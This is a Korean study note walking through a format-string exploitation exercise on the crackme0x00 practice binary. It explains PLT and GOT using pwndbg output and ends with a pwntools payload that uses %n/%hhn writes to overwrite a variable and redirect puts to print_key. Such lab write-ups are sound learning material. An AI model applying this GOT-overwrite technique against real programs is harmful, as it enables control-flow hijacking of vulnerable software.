tutorial

지금까지의 buffer overflow를 통한 공격과는 다르게 format string의 취약점을 공략합니다. 튜토리얼 문서 참고.
공격을 위해 PLT와 GOT를 이용합니다. 외부 함수가 호출될 때 우선 PLT를 참조하고, PLT에서 GOT를 참조하는데 이를 이용합니다.

공격 대상 프로그램 crackme0x00

  • crackme0x00.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <err.h>

#include "flag.h"

unsigned int secret = 0xdeadbeef;

void handle_failure(char *buf) {
  char msg[100];
  snprintf(msg, sizeof(msg), "Invalid Password! %s\n", buf);
  printf(msg);
}

int main(int argc, char *argv[])
{
  setreuid(geteuid(), geteuid());
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);

  int tmp = secret;

  char buf[100];
  printf("IOLI Crackme Level 0x00\n");
  printf("Password:");

  fgets(buf, sizeof(buf), stdin);

  if (!strcmp(buf, "250382\n")) {
    printf("Password OK :)\n");
  } else {
    handle_failure(buf);
  }

  if (tmp != secret) {
    puts("The secret is modified!\n");
  }

  return 0;
}

시작

gdb(pwndbg)를 켜고 secret을 바꿔봅니다. p &secret으로 secret이라는 변수의 주소를 알아내고, x/x &secret으로 해당 변수가 무슨 값을 가지는지 볼 수 있습니다.

pwndbg> p &secret
$1 = (unsigned int *) 0x804a050 <secret>
pwndbg> x/1x &secret
0x804a050 <secret>:     0xdeadbeef

set *&secret=0x10으로, 0xdeadbeef를 0x00000010으로 바꿔봅니다.

PLT of puts?

PLT(Procedure Linkage Table)는 컴파일의 링킹 과정에서 외부 procedure 혹은 함수를 연결해주는 테이블이고, 이를 통해 다른 라이브러리에 정의된 함수를 사용할 수 있습니다.

gdb(pwndbg)를 켠 뒤, plt를 치면 확인할 수 있습니다. 튜토리얼에서는 아래와 같이 뜹니다. 전부 외부 프로시저입니다. 아래에서 0x08048590을 보면, puts를 호출할 때 plt를 참조하는 걸 볼 수 있습니다.

  • plt 입력 시
    pwndbg> plt
    0x8048510: strcmp@plt
    0x8048520: printf@plt
    0x8048530: fgets@plt
    0x8048540: fclose@plt
    0x8048550: __stack_chk_fail@plt
    0x8048560: geteuid@plt
    0x8048570: err@plt
    0x8048580: fread@plt
    0x8048590: puts@plt
    0x80485a0: setreuid@plt
    0x80485b0: __libc_start_main@plt
    0x80485c0: setvbuf@plt
    0x80485d0: fopen@plt
    0x80485e0: snprintf@plt
    0x80485f0: fputs@plt
    

p puts, vmmap puts를 gdb에서 해봅니다.

보다 구체적으로는, 가령 external 함수인 puts라는 함수가 0x8048590에 있다면 x/5i 0x8048590을 해봅니다. 아래와 같이 뜹니다.

  • x/5i 0x8048590 입력 시
    pwndbg> x/10i 0x8048590
     0x8048590 <puts@plt>:        jmp    DWORD PTR ds:0x804a02c
     0x8048596 <puts@plt+6>:      push   0x40
     0x804859b <puts@plt+11>:     jmp    0x8048500
     0x80485a0 <setreuid@plt>:    jmp    DWORD PTR ds:0x804a030
     0x80485a6 <setreuid@plt+6>:  push   0x48
    

첫째 줄의 jmp 명령어를 통해서 어디론가 가는 것을 볼 수 있습니다.
둘째 줄의 0x40 은 일종의 index? 뭐더라? //TODO
셋째 줄의 jmp 0x8048500에서 x/10i 0x8048500를 통해 어디로 뛰는지를 보면 아래처럼 나옵니다.

  • x/10i 0x8048500 입력 시
    pwndbg> x/10i 0x8048500
     0x8048500:   push   DWORD PTR ds:0x804a004
     0x8048506:   jmp    DWORD PTR ds:0x804a008
     0x804850c:   add    BYTE PTR [eax],al
     0x804850e:   add    BYTE PTR [eax],al
     0x8048510 <strcmp@plt>:      jmp    DWORD PTR ds:0x804a00c
     0x8048516 <strcmp@plt+6>:    push   0x0
     0x804851b <strcmp@plt+11>:   jmp    0x8048500
     0x8048520 <printf@plt>:      jmp    DWORD PTR ds:0x804a010
     0x8048526 <printf@plt+6>:    push   0x8
     0x804852b <printf@plt+11>:   jmp    0x8048500
    

이제 x/5i 0x8048590를 입력했을 때 나온 주소인 jmp DWORD PTR ds:0x804a02c를 살펴보기 위해 telescope 0x804a02c를 입력합니다. pwndbg telescope 명령어란?

pwndbg> telescope 0x804a02c
00:0000│   0x804a02c (_GLOBAL_OFFSET_TABLE_+44) —▸ 0xf7dd5ca0 (puts) ◂— push   ebp
01:0004│   0x804a030 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0xf7e5eb60 (setreuid) ◂— push   ebx
02:0008│   0x804a034 (_GLOBAL_OFFSET_TABLE_+52) —▸ 0xf7d86e30 (__libc_start_main) ◂— call   0xf7ea52c9
03:000c│   0x804a038 (_GLOBAL_OFFSET_TABLE_+56) —▸ 0xf7dd6410 (setvbuf) ◂— push   ebp
04:0010│   0x804a03c (_GLOBAL_OFFSET_TABLE_+60) —▸ 0x80485d6 (fopen@plt+6) ◂— push   0x60 /* 'h`' */
05:0014│   0x804a040 (_GLOBAL_OFFSET_TABLE_+64) —▸ 0xf7dbf460 (snprintf) ◂— push   ebx
06:0018│   0x804a044 (_GLOBAL_OFFSET_TABLE_+68) —▸ 0x80485f6 (fputs@plt+6) ◂— push   0x70 /* 'hp' */
07:001c│   0x804a048 (data_start) ◂— 0x0

그럼 여기 첫째 줄에 보이는 위치인 0xf7dd5ca0에 puts 함수가 있는 것을 볼 수 있습니다. 그런데 0x804a02c에 다른 함수를 overwrite 할 수 있습니다. puts 대신 print_key와 연결시키기 위해 set *0x804a02c=print_key라고 입력합니다. 다시 telescope 0x804a02c를 통해 이제 연결이 아래와 같이 바뀌었음을 볼 수 있습니다.

pwndbg> telescope 0x804a02c
00:0000│   0x804a02c (_GLOBAL_OFFSET_TABLE_+44) —▸ 0x8048726 (print_key) ◂— push   ebp
01:0004│   0x804a030 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0xf7e5eb60 (setreuid) ◂— push   ebx
02:0008│   0x804a034 (_GLOBAL_OFFSET_TABLE_+52) —▸ 0xf7d86e30 (__libc_start_main) ◂— call   0xf7ea52c9
03:000c│   0x804a038 (_GLOBAL_OFFSET_TABLE_+56) —▸ 0xf7dd6410 (setvbuf) ◂— push   ebp
04:0010│   0x804a03c (_GLOBAL_OFFSET_TABLE_+60) —▸ 0x80485d6 (fopen@plt+6) ◂— push   0x60 /* 'h`' */
05:0014│   0x804a040 (_GLOBAL_OFFSET_TABLE_+64) —▸ 0xf7dbf460 (snprintf) ◂— push   ebx
06:0018│   0x804a044 (_GLOBAL_OFFSET_TABLE_+68) —▸ 0x80485f6 (fputs@plt+6) ◂— push   0x70 /* 'hp' */
07:001c│   0x804a048 (data_start) ◂— 0x0

GOT(Global Offset Table)

GOT를 보면 각 함수들의 주소가 들어있는데, 이 주소들을 통해 가령 puts 대신에 print_key로 덮어쓴다든지 하는 행동이 가능하게 됩니다. pwndbg에서는 got를 통해 아래와 같이 GOT를 볼 수 있습니다. (안 되게 막아놓은 경우도 있는 것 같습니다.)

pwndbg_got

0x804a02cputs가 있는데, 저 주소는 실제 puts의 주소를 값으로 가지고 있습니다.

위의 crackme0x00의 마지막 부분에서, puts 대신 print_key 함수를 호출하게 하면 성공입니다. 가령 print_key의 주소가 0x08048726라고 한다면, 이 값으로 덮어씁니다.

vulnerability of printf

실제 exploit의 코드는 아래와 같이 씁니다. 처음의 0x0804a050는 secret을 덮어쓰기 위한 것인데, printf 함수에서 %n을 사용하면 현재까지 출력한 바이트 수를 출력해주는데, 이를 메모리 값을 덮어쓰는 데에 이용합니다. 다만 이 32비트 머신 기준으로 %n은 4바이트를 덮어써서, 만약 2바이트씩 덮어쓰고 싶으면 %hn은 2바이트, %hhn은 1바이트를 덮어씁니다.

PUTS_GOT = 0x0804a02c
payload = [
    "AA",
    p32(0x0804a050), # 15th
    p32(PUTS_GOT+3), # 16th
    p32(PUTS_GOT+2), # 17th
    p32(PUTS_GOT+1), # 18th
    p32(PUTS_GOT+0), # 19th
    "%15$n",         # overwrite N -> secret
    "%" + str(0x100-0x28+0x08) + "c",
    "%16$hhn",
    "%" + str(0x100-0x08+0x04) + "c",
    "%17$hhn",
    "%" + str(0x87-0x04) + "c",
    "%18$hhn",
    "%" + str(0x100-0x87+0x26) + "c",
    "%19$hhn",
]

PUTS_GOT + 3 부터 덮어쓰는 이유는 little endian이기 때문입니다. 위에서 "%" + str(0x100-0x28+0x08) + "c", 이 부분은 print_key 중 첫 08을 덮어씁니다.

이제 프로세스에 payload를 보내고 하면 puts 대신 print_key가 호출되므로 flag를 바로 얻을 수 있습니다.